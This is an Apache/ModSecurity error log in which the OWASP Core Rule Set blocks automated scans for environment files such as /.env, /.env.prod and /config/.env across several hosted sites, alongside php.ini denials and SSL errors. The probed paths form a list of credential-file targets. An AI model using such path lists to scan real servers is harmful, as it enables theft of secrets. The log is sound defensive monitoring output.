[Sat Oct 24 20:24:45.142746 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVgwAAACE"]
[Sat Oct 24 20:24:45.143026 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVgwAAACE"]
[Sat Oct 24 20:24:45.143397 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVgwAAACE"]
[Sat Oct 24 20:24:45.242083 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1MTa7eSgqEqaOPQgT8JwAAAAI"]
[Sat Oct 24 20:24:45.242315 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1MTa7eSgqEqaOPQgT8JwAAAAI"]
[Sat Oct 24 20:24:45.242659 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/site/.env"] [unique_id "at1MTa7eSgqEqaOPQgT8JwAAAAI"]
[Sat Oct 24 20:24:45.281598 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVhAAAACE"]
[Sat Oct 24 20:24:45.281843 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVhAAAACE"]
[Sat Oct 24 20:24:45.282165 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVhAAAACE"]
[Sat Oct 24 20:24:45.377658 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1MTa7eSgqEqaOPQgT8KAAAAAI"]
[Sat Oct 24 20:24:45.377915 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1MTa7eSgqEqaOPQgT8KAAAAAI"]
[Sat Oct 24 20:24:45.378248 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1MTa7eSgqEqaOPQgT8KAAAAAI"]
[Sat Oct 24 20:24:45.419568 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVhQAAACE"]
[Sat Oct 24 20:24:45.419812 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVhQAAACE"]
[Sat Oct 24 20:24:45.420150 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at1MTTKiZtbKEGWJKoLVhQAAACE"]
[Sat Oct 24 20:24:49.102997 2026] [authz_core:error] [pid 2677776:tid 2677776] [client 198.235.24.159:57638] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 20:24:58.409312 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 23.21.250.48:10411] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:25:06.179259 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.218.170.184:15422] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:25:22.158347 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.224.205.25:25074] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:25:34.455014 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.225.24.180:9638] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:25:38.197454 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.214.176.44:16893] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:25:42.177560 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 35.171.117.160:47035] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:25:46.225409 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.203.65.83:55147] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:25:50.161974 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.196.114.170:25152] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:26:18.753679 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.224.215.150:59232] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:26:22.449152 2026] [authz_core:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 20:26:22.631759 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at1MrnxUk1Q9Uwuht9UEUAAAAAE"]
[Sat Oct 24 20:26:22.631976 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at1MrnxUk1Q9Uwuht9UEUAAAAAE"]
[Sat Oct 24 20:26:22.632309 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at1MrnxUk1Q9Uwuht9UEUAAAAAE"]
[Sat Oct 24 20:26:22.824417 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.qa"] [unique_id "at1MrnxUk1Q9Uwuht9UEUQAAAAE"]
[Sat Oct 24 20:26:22.824701 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.qa"] [unique_id "at1MrnxUk1Q9Uwuht9UEUQAAAAE"]
[Sat Oct 24 20:26:22.825029 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.qa"] [unique_id "at1MrnxUk1Q9Uwuht9UEUQAAAAE"]
[Sat Oct 24 20:26:23.006957 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.qa.local"] [unique_id "at1Mr3xUk1Q9Uwuht9UEUgAAAAE"]
[Sat Oct 24 20:26:23.007159 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.qa.local"] [unique_id "at1Mr3xUk1Q9Uwuht9UEUgAAAAE"]
[Sat Oct 24 20:26:23.007503 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.qa.local"] [unique_id "at1Mr3xUk1Q9Uwuht9UEUgAAAAE"]
[Sat Oct 24 20:26:23.188340 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.stage"] [unique_id "at1Mr3xUk1Q9Uwuht9UEUwAAAAE"]
[Sat Oct 24 20:26:23.188575 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.stage"] [unique_id "at1Mr3xUk1Q9Uwuht9UEUwAAAAE"]
[Sat Oct 24 20:26:23.188951 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.stage"] [unique_id "at1Mr3xUk1Q9Uwuht9UEUwAAAAE"]
[Sat Oct 24 20:26:23.223079 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.development.local"] [unique_id "at1Mr93lMH_Ldre-PZttpAAAACk"]
[Sat Oct 24 20:26:23.223298 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.development.local"] [unique_id "at1Mr93lMH_Ldre-PZttpAAAACk"]
[Sat Oct 24 20:26:23.223570 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.development.local"] [unique_id "at1Mr93lMH_Ldre-PZttpAAAACk"]
[Sat Oct 24 20:26:23.369657 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.stage.local"] [unique_id "at1Mr3xUk1Q9Uwuht9UEVAAAAAE"]
[Sat Oct 24 20:26:23.369902 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.stage.local"] [unique_id "at1Mr3xUk1Q9Uwuht9UEVAAAAAE"]
[Sat Oct 24 20:26:23.370227 2026] [security2:error] [pid 2707162:tid 2707162] [client 149.102.244.99:7951] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.stage.local"] [unique_id "at1Mr3xUk1Q9Uwuht9UEVAAAAAE"]
[Sat Oct 24 20:26:23.401882 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at1Mr93lMH_Ldre-PZttpQAAACk"]
[Sat Oct 24 20:26:23.402063 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at1Mr93lMH_Ldre-PZttpQAAACk"]
[Sat Oct 24 20:26:23.402352 2026] [security2:error] [pid 2693035:tid 2693035] [client 149.102.244.99:7174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at1Mr93lMH_Ldre-PZttpQAAACk"]
[Sat Oct 24 20:26:23.408293 2026] [security2:error] [pid 2677776:tid 2677776] [client 149.102.244.99:62808] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at1Mr2ZJIyiQiKFtr2-84gAAABU"]
